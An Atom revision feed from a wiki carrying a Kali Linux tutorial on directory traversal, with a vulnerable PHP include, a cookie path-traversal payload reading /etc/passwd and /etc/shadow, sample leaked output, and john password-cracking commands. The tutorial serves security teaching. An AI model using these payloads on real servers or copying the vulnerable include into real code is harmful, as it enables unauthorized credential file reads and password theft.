<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://lms.onnocenter.or.id/wiki/index.php?action=history&amp;feed=atom&amp;title=Kali_Linux%3A_Web_Directory_Traversal_Vulnerability_%28en%29</id>
	<title>Kali Linux: Web Directory Traversal Vulnerability (en) - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://lms.onnocenter.or.id/wiki/index.php?action=history&amp;feed=atom&amp;title=Kali_Linux%3A_Web_Directory_Traversal_Vulnerability_%28en%29"/>
	<link rel="alternate" type="text/html" href="https://lms.onnocenter.or.id/wiki/index.php?title=Kali_Linux:_Web_Directory_Traversal_Vulnerability_(en)&amp;action=history"/>
	<updated>2026-04-25T12:18:20Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://lms.onnocenter.or.id/wiki/index.php?title=Kali_Linux:_Web_Directory_Traversal_Vulnerability_(en)&amp;diff=71370&amp;oldid=prev</id>
		<title>Unknown user at 22:29, 3 January 2025</title>
		<link rel="alternate" type="text/html" href="https://lms.onnocenter.or.id/wiki/index.php?title=Kali_Linux:_Web_Directory_Traversal_Vulnerability_(en)&amp;diff=71370&amp;oldid=prev"/>
		<updated>2025-01-03T22:29:29Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;a href=&quot;https://lms.onnocenter.or.id/wiki/index.php?title=Kali_Linux:_Web_Directory_Traversal_Vulnerability_(en)&amp;amp;diff=71370&amp;amp;oldid=71369&quot;&gt;Show changes&lt;/a&gt;</summary>
		<author><name>Unknown user</name></author>
	</entry>
	<entry>
		<id>https://lms.onnocenter.or.id/wiki/index.php?title=Kali_Linux:_Web_Directory_Traversal_Vulnerability_(en)&amp;diff=71369&amp;oldid=prev</id>
		<title>Unknown user: Created page with &quot;Directory traversal (or path traversal) is the exploitation of a lack of security validation/sanitization of user-supplied file names, such as characters representing &quot;travers...&quot;</title>
		<link rel="alternate" type="text/html" href="https://lms.onnocenter.or.id/wiki/index.php?title=Kali_Linux:_Web_Directory_Traversal_Vulnerability_(en)&amp;diff=71369&amp;oldid=prev"/>
		<updated>2025-01-03T22:27:08Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;Directory traversal (or path traversal) is the exploitation of a lack of security validation/sanitization of user-supplied file names, such as characters representing &amp;quot;travers...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;Directory traversal (or path traversal) is the exploitation of a lack of security validation/sanitization of user-supplied file names, such as characters representing &amp;quot;traverse to parent directory&amp;quot; passed to file APIs.&lt;br /&gt;
&lt;br /&gt;
The goal of this attack is to use misconfigured applications to gain unauthorized access to the file system. This attack exploits the lack of security (although the software acts exactly as it should) differently from exploiting bugs in code.&lt;br /&gt;
&lt;br /&gt;
Directory traversal is also known as ../ (dot dot slash) attack, directory climbing, and backtracking. Some forms of this attack are also considered canonicalization attacks.&lt;br /&gt;
&lt;br /&gt;
Here is a simple example of a vulnerable application in PHP,&lt;br /&gt;
&lt;br /&gt;
```php&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$template = &amp;#039;red.php&amp;#039;;&lt;br /&gt;
if (isset($_COOKIE[&amp;#039;TEMPLATE&amp;#039;]))&lt;br /&gt;
   $template = $_COOKIE[&amp;#039;TEMPLATE&amp;#039;];&lt;br /&gt;
include (&amp;quot;/home/users/phpguru/templates/&amp;quot; . $template);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
```&lt;br /&gt;
&lt;br /&gt;
The application could be named, for example, vulnerable.php.&lt;br /&gt;
Placed under the web folder /var/www/html/vulnerable.php&lt;br /&gt;
&lt;br /&gt;
An attack against this system can be done using the following HTTP request, if you are having trouble you can use&lt;br /&gt;
&lt;br /&gt;
```bash&lt;br /&gt;
telnet ip-address-server 80&lt;br /&gt;
```&lt;br /&gt;
&lt;br /&gt;
enter/type one by one the sentences below,&lt;br /&gt;
&lt;br /&gt;
```&lt;br /&gt;
GET /vulnerable.php HTTP/1.0&lt;br /&gt;
Cookie: TEMPLATE=../../../../../../../../../etc/passwd&lt;br /&gt;
Cookie: TEMPLATE=../../../../../../../../../etc/shadow&lt;br /&gt;
```&lt;br /&gt;
&lt;br /&gt;
Response from ../../etc/passwd approximately:&lt;br /&gt;
&lt;br /&gt;
```&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Fri, 01 Jun 2018 23:21:52 GMT&lt;br /&gt;
Server: Apache/2.4.18 (Ubuntu)&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 2164&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html; charset=UTF-8&lt;br /&gt;
&lt;br /&gt;
root:x:0:0:root:/root:/bin/bash&lt;br /&gt;
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin&lt;br /&gt;
bin:x:2:2:bin:/bin:/usr/sbin/nologin&lt;br /&gt;
sys:x:3:3:sys:/dev:/usr/sbin/nologin&lt;br /&gt;
sync:x:4:65534:sync:/bin:/bin/sync&lt;br /&gt;
games:x:5:60:games:/usr/games:/usr/sbin/nologin&lt;br /&gt;
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin&lt;br /&gt;
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin&lt;br /&gt;
..&lt;br /&gt;
..&lt;br /&gt;
dst&lt;br /&gt;
```&lt;br /&gt;
&lt;br /&gt;
The repeated ../ characters after /home/users/phpguru/templates/ &lt;br /&gt;
cause include() to traverse to the root directory,&lt;br /&gt;
then include the Unix password file /etc/passwd.&lt;br /&gt;
&lt;br /&gt;
The /etc/passwd file is typically used for directory traversal examples,&lt;br /&gt;
and indeed is often used by crackers trying to break in.&lt;br /&gt;
&lt;br /&gt;
On modern Linux/Unix systems, the /etc/passwd file does not contain passwords.&lt;br /&gt;
Passwords are in the shadow file, which is usually only accessible by root.&lt;br /&gt;
If the server admin is somewhat careless, and changes permissions, for example,&lt;br /&gt;
&lt;br /&gt;
```bash&lt;br /&gt;
sudo su&lt;br /&gt;
chmod 644 /etc/shadow&lt;br /&gt;
```&lt;br /&gt;
&lt;br /&gt;
then the command ../../etc/shadow will yield, for example,&lt;br /&gt;
&lt;br /&gt;
```&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Fri, 01 Jun 2018 23:26:47 GMT&lt;br /&gt;
Server: Apache/2.4.18 (Ubuntu)&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 1767&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html; charset=UTF-8&lt;br /&gt;
&lt;br /&gt;
root:!:17273:0:99999:7:::&lt;br /&gt;
daemon:*:16911:0:99999:7:::&lt;br /&gt;
bin:*:16911:0:99999:7:::&lt;br /&gt;
sys:*:16911:0:99999:7:::&lt;br /&gt;
sync:*:16911:0:99999:7:::&lt;br /&gt;
games:*:16911:0:99999:7:::&lt;br /&gt;
man:*:16911:0:99999:7:::&lt;br /&gt;
lp:*:16911:0:99999:7:::&lt;br /&gt;
mail:*:16911:0:99999:7:::&lt;br /&gt;
news:*:16911:0:99999:7:::&lt;br /&gt;
uucp:*:16911:0:99999:7:::&lt;br /&gt;
..&lt;br /&gt;
..&lt;br /&gt;
etc&lt;br /&gt;
```&lt;br /&gt;
&lt;br /&gt;
Collect both outputs, for example,&lt;br /&gt;
output of /etc/password in passwd.txt&lt;br /&gt;
output of /etc/shadow in shadow.txt&lt;br /&gt;
with these two files then we can crack using john&lt;br /&gt;
&lt;br /&gt;
```bash&lt;br /&gt;
unshadow passwd.txt shadow.txt &amp;gt; mypasswd&lt;br /&gt;
john mypasswd&lt;br /&gt;
```&lt;br /&gt;
&lt;br /&gt;
The result will be passwords cracked, approximately&lt;br /&gt;
&lt;br /&gt;
```&lt;br /&gt;
Created directory: /root/.john&lt;br /&gt;
Warning: detected hash type &amp;quot;sha512crypt&amp;quot;, but the string is also recognized as &amp;quot;crypt&amp;quot;&lt;br /&gt;
Use the &amp;quot;--format=crypt&amp;quot; option to force loading these as that type instead&lt;br /&gt;
Using default input encoding: UTF-8&lt;br /&gt;
Loaded 6 password hashes with 6 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])&lt;br /&gt;
Press &amp;#039;q&amp;#039; or Ctrl-C to abort, almost any other key for status&lt;br /&gt;
123456           (redi)&lt;br /&gt;
123456           (krida)&lt;br /&gt;
123456           (onno)&lt;br /&gt;
123456           (pangtni)&lt;br /&gt;
123456           (kasum)&lt;br /&gt;
123456           (dansatsiber)&lt;br /&gt;
6g 0:00:00:07 DONE 2/3 (2018-06-02 06:32) 0.7894g/s 669.7p/s 711.8c/s 711.8C/s 123456..green&lt;br /&gt;
Use the &amp;quot;--show&amp;quot; option to display all of the cracked passwords reliably&lt;br /&gt;
```&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Admin Mistakes==&lt;br /&gt;
&lt;br /&gt;
* Introducing vulnerable PHP&lt;br /&gt;
* A critical admin mistake is typing&lt;br /&gt;
&lt;br /&gt;
 sudo su&lt;br /&gt;
 chmod 644 /etc/shadow&lt;br /&gt;
```&lt;/div&gt;</summary>
		<author><name>Unknown user</name></author>
	</entry>
</feed>